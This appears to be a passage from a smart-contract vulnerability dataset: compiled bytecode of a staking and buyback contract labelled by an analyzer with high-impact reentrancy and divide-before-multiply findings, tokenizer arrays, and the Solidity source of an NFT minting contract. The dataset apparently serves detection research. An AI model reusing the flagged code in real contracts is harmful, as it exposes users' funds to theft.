8e2cc6561176d7a8c0e3fab812f2a890709a8f0ee91015b60405180910390a15050565b6000546001600160a01b031633146200068f5760405162461bcd60e51b815260040162000518906200170c565b6200069b60006200120b565b565b6000546001600160a01b03163314620006ca5760405162461bcd60e51b815260040162000518906200170c565b620006d681476200076f565b50565b6000546001600160a01b03163314620007065760405162461bcd60e51b815260040162000518906200170c565b6200072f6200071d6000546001600160a01b031690565b6001600160a01b03841690836200125b565b604080516001600160a01b0384168152602081018390527f8c1256b8896378cd5044f80c202f9772b9d77dc85c8a6eb51967210b09bfaa28910162000656565b6000546001600160a01b031633146200079c5760405162461bcd60e51b815260040162000518906200170c565b60035460055414620007e75760405162461bcd60e51b815260206004820152601360248201527272756e45706f636820696e636f6d706c65746560681b604482015260640162000518565b478111156200082f5760405162461bcd60e51b8152602060048201526013602482015272657468416d6f756e7420746f6f206c6172676560681b604482015260640162000518565b6006546001600160a01b03161562000be9576006546040805163d1af0c7d60e01b815290516000926001600160a01b03169163d1af0c7d916004808301926020929190829003018186803b1580156200088757600080fd5b505afa1580156200089c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620008c2919062001561565b9050811562000a82576040805160028082526060820183526000926020830190803683370190505090507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200094657600080fd5b505afa1580156200095b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000981919062001561565b81600081518110620009a357634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250508181600181518110620009e657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260405163b6f9de9560e01b81527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9091169063b6f9de9590859062000a4c90889086903090429060040162001741565b6000604051808303818588803b15801562000a6657600080fd5b505af115801562000a7b573d6000803e3d6000fd5b5050505050505b600480546040516370a0823160e01b8152309281019290925260009162000b23916127109162000b1c91906001600160a01b038716906370a082319060240160206040518083038186803b15801562000ada57600080fd5b505afa15801562000aef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000b159190620015e6565b90620012af565b90620012c4565b60065490915062000b42906001600160a01b038481169116836200125b565b600654604051633c6b16ab60e01b8152600481018390526001600160a01b0390911690633c6b16ab90602401600060405180830381600087803b15801562000b8957600080fd5b505af115801562000b9e573d6000803e3d6000fd5b50505050816001600160a01b03167f6f71aa2d970d41c4318a3de6779f2c27c76b0014f8e9a9df4ee6c33d1141d11e8260405162000bde91815260200190565b60405180910390a250505b505060006005819055600680546001600160a01b0319169055600755565b6000546001600160a01b0316331462000c345760405162461bcd60e51b815260040162000518906200170c565b600354821062000c585760405162461bcd60e51b81526004016200051890620016e0565b6000828152600160205260409081902054905163cc1a378f60e01b8152600481018390526001600160a01b039091169063cc1a378f906024016200057f565b6000546001600160a01b0316331462000cc45760405162461bcd60e51b815260040162000518906200170c565b61271081111562000d185760405162461bcd60e51b815260206004820152601c60248201527f5f6275796261636b50726f706f7274696f6e20746f6f206c6172676500000000604482015260640162000518565b60045460408051918252602082018390527f762bc5b1e5affd7ee14cf47324ddb30c35cab6379d1e3acbdd51f0b9b83a56b7910160405180910390a1600455565b6000546001600160a01b0316331462000d865760405162461bcd60e51b815260040162000518906200170c565b600354831062000daa5760405162461bcd60e51b81526004016200051890620016e0565b60008381526001602052604090819020549051638980f11f60e01b81526001600160a01b0384811660048301526024820184905290911690638980f11f90604401600060405180830381600087803b15801562000e0657600080fd5b505af115801562000e1b573d6000803e3d6000fd5b5050505062000e366200071d6000546001600160a01b031690565b505050565b6000546001600160a01b0316331462000e685760405162461bcd60e51b815260040162000518906200170c565b600080546040516001600160a01b039091169183156108fc02918491818181858888f1935050505015801562000ea2573d6000803e3d6000fd5b506040518181527ffc3b2917f34bc4fba1516519d275441646d5088542342f58de8eea6a7cb5c2ab9060200160405180910390a150565b6000546001600160a01b0316331462000f065760405162461bcd60e51b815260040162000518906200170c565b6000811162000f585760405162461bcd60e51b815260206004820152601a60248201527f626174636853697a65206d75737420626520706f736974697665000000000000604482015260640162000518565b60008160055462000f6a9190620017ac565b905060035481111562000f7c57506003545b8060055410156200107e5760055460009081526002602052604090205460ff16620010615760055460009081526001602090815260408083205481516318160ddd60e01b815291516001600160a01b03909116939284926318160ddd9260048083019392829003018186803b15801562000ff557600080fd5b505afa1580156200100a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620010309190620015e6565b90506007548111156200105e57600680546001600160a01b0319166001600160a01b03841617905560078190555b50505b6005805490600062001073836200183d565b919050555062000f7c565b5050565b6000546001600160a01b03163314620010af5760405162461bcd60e51b815260040162000518906200170c565b3030827f00000000000000000000000062521b1f45d5c186c1fd147487057e8a81f910ea604051620010e19062001534565b6001600160a01b039485168152928416602084015290831660408301529091166060820152608001604051809103906000f08015801562001126573d6000803e3d6000fd5b50600380546000908152600160208190526040822080546001600160a01b0319166001600160a01b039590951694909417909355815462001169908490620017ac565b909155505050565b6000546001600160a01b031633146200119e5760405162461bcd60e51b815260040162000518906200170c565b6001600160a01b038116620012055760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840162000518565b620006d6815b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905262000e36908490620012d2565b6000620012bd8284620017e8565b9392505050565b6000620012bd8284620017c7565b600062001329826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316620013ab9092919063ffffffff16565b80519091501562000e3657808060200190518101906200134a9190620015ae565b62000e365760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b606482015260840162000518565b6060620013bc8484600085620013c4565b949350505050565b606082471015620014275760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b606482015260840162000518565b843b620014775760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640162000518565b600080866001600160a01b031685876040516200149591906200168d565b60006040518083038185875af1925050503d8060008114620014d4576040519150601f19603f3d011682016040523d82523d6000602084013e620014d9565b606091505b5091509150620014eb828286620014f6565b979650505050505050565b6060831562001507575081620012bd565b825115620015185782518084602001fd5b8160405162461bcd60e51b8152600401620005189190620016ab565b611597806200189783390190565b60006020828403121562001554578081fd5b8135620012bd8162001871565b60006020828403121562001573578081fd5b8151620012bd8162001871565b6000806040838503121562001593578081fd5b8235620015a08162001871565b946020939093013593505050565b600060208284031215620015c0578081fd5b8151620012bd8162001887565b600060208284031215620015df578081fd5b5035919050565b600060208284031215620015f8578081fd5b5051919050565b60008060006060848603121562001614578081fd5b833592506020840135620016288162001871565b929592945050506040919091013590565b600080604083850312156200164c578182fd5b823591506020830135620016608162001887565b809150509250929050565b600080604083850312156200167e578182fd5b50508035926020909101359150565b60008251620016a18184602087016200180a565b9190910192915050565b6020815260008251806020840152620016cc8160408501602087016200180a565b601f01601f19169190910160400192915050565b602080825260129082015271696e646578206f7574206f662072616e676560701b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060808201868352602060808185015281875180845260a0860191508289019350845b818110156200178c5784516001600160a01b03168352938301939183019160010162001765565b50506001600160a01b039690961660408501525050506060015292915050565b60008219821115620017c257620017c26200185b565b500190565b600082620017e357634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156200180557620018056200185b565b500290565b60005b83811015620018275781810151838201526020016200180d565b8381111562001837576000848401525b50505050565b60006000198214156200185457620018546200185b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114620006d657600080fd5b8015158114620006d657600080fdfe60806040526000600655600060075562093a806008553480156200002257600080fd5b506040516200159738038062001597833981016040819052620000459162000162565b836001600160a01b038116620000a15760405162461bcd60e51b815260206004820152601960248201527f4f776e657220616464726573732063616e6e6f74206265203000000000000000604482015260640160405180910390fd5b600080546001600160a01b0319166001600160a01b03831690811782556040805192835260208301919091527fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c910160405180910390a1506001600355600480546001600160a01b039384166001600160a01b03199182161790915560058054928416928216929092179091556002805493909216921691909117905550620001be565b80516001600160a01b03811681146200015d57600080fd5b919050565b6000806000806080858703121562000178578384fd5b620001838562000145565b9350620001936020860162000145565b9250620001a36040860162000145565b9150620001b36060860162000145565b905092959194509250565b6113c980620001ce6000396000f3fe608060405234801561001057600080fd5b50600436106101c35760003560e01c806379ba5097116100f9578063c8f33c9111610097578063d1af0c7d11610071578063d1af0c7d1461038d578063df136d65146103a0578063e9fad8ee146103a9578063ebe2b12b146103b157600080fd5b8063c8f33c9114610369578063cc1a378f14610372578063cd3daf9d1461038557600080fd5b80638980f11f116100d35780638980f11f146103105780638b876347146103235780638da5cb5b14610343578063a694fc3a1461035657600080fd5b806379ba5097146102f75780637b0a47ee146102ff57806380faa57d1461030857600080fd5b8063386a9525116101665780633fc6df6e116101405780633fc6df6e1461027d57806353a47bb7146102a857806370a08231146102bb57806372f702f3146102e457600080fd5b8063386a9525146102595780633c6b16ab146102625780633d18b9121461027557600080fd5b806318160ddd116101a257806318160ddd14610223578063197621431461022b5780631c1f78eb1461023e5780632e1a7d4d1461024657600080fd5b80628cc262146101c85780630700037d146101ee5780631627540c1461020e575b600080fd5b6101db6101d63660046111ca565b6103ba565b6040519081526020015b60405180910390f35b6101db6101fc3660046111ca565b600c6020526000908152604090205481565b61022161021c3660046111ca565b610438565b005b600d546101db565b6102216102393660046111ca565b610495565b6101db6104bf565b61022161025436600461122d565b6104dd565b6101db60085481565b61022161027036600461122d565b610642565b6102216108a4565b600254610290906001600160a01b031681565b6040516001600160a01b0390911681526020016101e5565b600154610290906001600160a01b031681565b6101db6102c93660046111ca565b6001600160a01b03166000908152600e602052604090205490565b600554610290906001600160a01b031681565b6102216109a1565b6101db60075481565b6101db610a8b565b61022161031e3660046111e4565b610a99565b6101db6103313660046111ca565b600b6020526000908152604090205481565b600054610290906001600160a01b031681565b61022161036436600461122d565b610b69565b6101db60095481565b61022161038036600461122d565b610cb6565b6101db610d90565b600454610290906001600160a01b031681565b6101db600a5481565b610221610ddc565b6101db60065481565b6001600160a01b0381166000908152600c6020908152604080832054600b909252822054610432919061042c90670de0b6b3a7640000906104269061040790610401610d90565b90610dff565b6001600160a01b0388166000908152600e602052604090205490610e12565b90610e1e565b90610e2a565b92915050565b610440610e36565b600180546001600160a01b0319166001600160a01b0383169081179091556040519081527f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce22906020015b60405180910390a150565b61049d610e36565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b60006104d8600854600754610e1290919063ffffffff16565b905090565b600260035414156105095760405162461bcd60e51b8152600401610500906112ac565b60405180910390fd5b600260035533610517610d90565b600a55610522610a8b565b6009556001600160a01b038116156105695761053d816103ba565b6001600160a01b0382166000908152600c6020908152604080832093909355600a54600b909152919020555b600082116105ad5760405162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b6044820152606401610500565b600d546105ba9083610dff565b600d55336000908152600e60205260409020546105d79083610dff565b336000818152600e6020526040902091909155600554610603916001600160a01b039091169084610ea8565b60405182815233907f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5906020015b60405180910390a250506001600355565b6002546001600160a01b031633146106af5760405162461bcd60e51b815260206004820152602a60248201527f43616c6c6572206973206e6f742052657761726473446973747269627574696f6044820152691b8818dbdb9d1c9858dd60b21b6064820152608401610500565b60006106b9610d90565b600a556106c4610a8b565b6009556001600160a01b0381161561070b576106df816103ba565b6001600160a01b0382166000908152600c6020908152604080832093909355600a54600b909152919020555b600654421061072a57600854610722908390610e1e565b60075561076d565b60065460009061073a9042610dff565b9050600061075360075483610e1290919063ffffffff16565b600854909150610767906104268684610e2a565b60075550505b600480546040516370a0823160e01b815230928101929092526000916001600160a01b03909116906370a082319060240160206040518083038186803b1580156107b657600080fd5b505afa1580156107ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ee9190611245565b905061080560085482610e1e90919063ffffffff16565b60075411156108565760405162461bcd60e51b815260206004820152601860248201527f50726f76696465642072657761726420746f6f206869676800000000000000006044820152606401610500565b4260098190556008546108699190610e2a565b6006556040518381527fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9060200160405180910390a1505050565b600260035414156108c75760405162461bcd60e51b8152600401610500906112ac565b6002600355336108d5610d90565b600a556108e0610a8b565b6009556001600160a01b03811615610927576108fb816103ba565b6001600160a01b0382166000908152600c6020908152604080832093909355600a54600b909152919020555b336000908152600c6020526040902054801561099857336000818152600c6020526040812055600454610966916001600160a01b039091169083610ea8565b60405181815233907fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e048690602001610631565b50506001600355565b6001546001600160a01b03163314610a195760405162461bcd60e51b815260206004820152603560248201527f596f75206d757374206265206e6f6d696e61746564206265666f726520796f7560448201527402063616e20616363657074206f776e65727368697605c1b6064820152608401610500565b600054600154604080516001600160a01b0393841681529290911660208301527fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c910160405180910390a160018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b60006104d842600654610f10565b610aa1610e36565b6005546001600160a01b0383811691161415610b095760405162461bcd60e51b815260206004820152602160248201527f43616e6e6f7420776974686472617720746865207374616b696e6720746f6b656044820152603760f91b6064820152608401610500565b600054610b23906001600160a01b03848116911683610ea8565b604080516001600160a01b0384168152602081018390527f8c1256b8896378cd5044f80c202f9772b9d77dc85c8a6eb51967210b09bfaa28910160405180910390a15050565b60026003541415610b8c5760405162461bcd60e51b8152600401610500906112ac565b600260035533610b9a610d90565b600a55610ba5610a8b565b6009556001600160a01b03811615610bec57610bc0816103ba565b6001600160a01b0382166000908152600c6020908152604080832093909355600a54600b909152919020555b60008211610c2d5760405162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b6044820152606401610500565b600d54610c3a9083610e2a565b600d55336000908152600e6020526040902054610c579083610e2a565b336000818152600e6020526040902091909155600554610c84916001600160a01b03909116903085610f26565b60405182815233907f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d90602001610631565b610cbe610e36565b6006544211610d5b5760405162461bcd60e51b815260206004820152605860248201527f50726576696f7573207265776172647320706572696f64206d7573742062652060448201527f636f6d706c657465206265666f7265206368616e67696e67207468652064757260648201527f6174696f6e20666f7220746865206e657720706572696f640000000000000000608482015260a401610500565b60088190556040518181527ffb46ca5a5e06d4540d6387b930a7c978bce0db5f449ec6b3f5d07c6e1d44f2d39060200161048a565b6000600d5460001415610da45750600a5490565b6104d8610dd3600d54610426670de0b6b3a7640000610dcd600754610dcd600954610401610a8b565b90610e12565b600a5490610e2a565b336000908152600e6020526040902054610df5906104dd565b610dfd6108a4565b565b6000610e0b828461133a565b9392505050565b6000610e0b828461131b565b6000610e0b82846112fb565b6000610e0b82846112e3565b6000546001600160a01b03163314610dfd5760405162461bcd60e51b815260206004820152602f60248201527f4f6e6c792074686520636f6e7472616374206f776e6572206d6179207065726660448201526e37b936903a3434b99030b1ba34b7b760891b6064820152608401610500565b6040516001600160a01b038316602482015260448101829052610f0b90849063a9059cbb60e01b906064015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152610f64565b505050565b6000818310610f1f5781610e0b565b5090919050565b6040516001600160a01b0380851660248301528316604482015260648101829052610f5e9085906323b872dd60e01b90608401610ed4565b50505050565b6000610fb9826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166110369092919063ffffffff16565b805190915015610f0b5780806020019051810190610fd7919061120d565b610f0b5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610500565b6060611045848460008561104d565b949350505050565b6060824710156110ae5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610500565b843b6110fc5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610500565b600080866001600160a01b03168587604051611118919061125d565b60006040518083038185875af1925050503d8060008114611155576040519150601f19603f3d011682016040523d82523d6000602084013e61115a565b606091505b509150915061116a828286611175565b979650505050505050565b60608315611184575081610e0b565b8251156111945782518084602001fd5b8160405162461bcd60e51b81526004016105009190611279565b80356001600160a01b03811681146111c557600080fd5b919050565b6000602082840312156111db578081fd5b610e0b826111ae565b600080604083850312156111f6578081fd5b6111ff836111ae565b946020939093013593505050565b60006020828403121561121e578081fd5b81518015158114610e0b578182fd5b60006020828403121561123e578081fd5b5035919050565b600060208284031215611256578081fd5b5051919050565b6000825161126f818460208701611351565b9190910192915050565b6020815260008251806020840152611298816040850160208701611351565b601f01601f19169190910160400192915050565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b600082198211156112f6576112f661137d565b500190565b60008261131657634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156113355761133561137d565b500290565b60008282101561134c5761134c61137d565b500390565b60005b8381101561136c578181015183820152602001611354565b83811115610f5e5750506000910152565b634e487b7160e01b600052601160045260246000fdfea26469706673582212207300ef29dcd46836acf3cc492c0ead897ba91cd6883e96b3ac27e909f8e7ec0564736f6c63430008040033a26469706673582212200af96c7c80395c7e49ce5ea186d7b7b74228c4fab81cfbe399e315dae054fcce64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 28311, 26976, 6679, 2581, 2497, 20952, 2581, 2487, 2094, 23777, 2497, 2629, 2497, 14141, 2620, 2278, 20842, 2683, 22275, 14526, 29292, 27717, 2581, 2509, 7959, 2620, 2094, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1012, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3206, 11336, 2029, 3640, 1037, 3937, 3229, 2491, 7337, 1010, 2073, 1008, 2045, 2003, 2019, 4070, 1006, 2019, 3954, 1007, 2008, 2064, 2022, 4379, 7262, 3229, 2000, 1008, 3563, 4972, 1012, 1008, 1008, 2011, 12398, 1010, 1996, 3954, 4070, 2097, 2022, 1996, 2028, 2008, 21296, 2015, 1996, 3206, 1012, 2023, 1008, 2064, 2101, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,635
0x9575f8a18e367d90736a074db5caca2760811b93
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol"; contract AchooPharmacy is ERC721Enumerable, ERC721Burnable, Ownable { uint256 public constant MAX_SUPPLY = 1000; uint256 public constant MAX_PUBLIC_MINT = 3; uint256 public constant PRICE_PER_TOKEN = 0.02 ether; // price for the public mint, AL is free bool public allowListSaleActive = false; mapping(address => bool) private _allowList; bool public primarySaleActive = false; string private _baseURIExtended; bool public _metadataLocked = false; constructor() ERC721("Achoo Pharmacy", "AVTK") Ownable() {} // baseURI control function _baseURI() internal view virtual override returns (string memory) { return _baseURIExtended; } function setBaseURI(string memory _newBaseURI) external onlyOwner { require(_metadataLocked == false, "Metadata is locked! no updates possible"); _baseURIExtended = _newBaseURI; } function lockMetadata() external onlyOwner { _metadataLocked = true; } function setAllowListSaleActive(bool _allowListSaleActive) external onlyOwner { allowListSaleActive = _allowListSaleActive; } function setAllowList(address[] calldata addresses) external onlyOwner { for (uint256 i = 0; i < addresses.length; i++) { _allowList[addresses[i]] = true; } } // AL mint is free function mintAllowList() external { uint256 ts = totalSupply(); require(allowListSaleActive, "Allow list sale is not active"); require(ts + 1 <= MAX_SUPPLY, "Purchase would exceed max tokens"); require(_allowList[msg.sender] == true, "Sender not on allow list"); _safeMint(msg.sender, ts); // only 1 allowed per AL slot _allowList[msg.sender] = false; } function setPrimarySaleActive(bool _primarySaleActive) external onlyOwner { primarySaleActive = _primarySaleActive; } // Public mint is 0.02eth function mintPrimary(uint256 numberOfTokens) external payable { uint256 ts = totalSupply(); require(primarySaleActive, "Primary sale must be active to mint tokens"); require(numberOfTokens <= MAX_PUBLIC_MINT, "Exceeded max token purchase"); require(ts + numberOfTokens <= MAX_SUPPLY, "Purchase would exceed max tokens"); require(PRICE_PER_TOKEN * numberOfTokens <= msg.value, "Ether value sent is not correct"); for (uint256 i = 0; i < numberOfTokens; i++) { _safeMint(msg.sender, ts + i); } } // allow us to reserve a few tests for the giveaways function reserve(uint256 numberOfTokens) external onlyOwner { uint256 ts = totalSupply(); require(ts + numberOfTokens <= MAX_SUPPLY, "Reserve would exceed max tokens"); for (uint256 i = 0; i < numberOfTokens; i++) { _safeMint(msg.sender, ts + i); } } function withdraw() external onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } // in case we need to feed the contract with eth receive() external payable { } // required overrides since we inherit from both ERC721Enumerable & ERC721Burnable function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Burnable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "../../../utils/Context.sol"; /** * @title ERC721 Burnable Token * 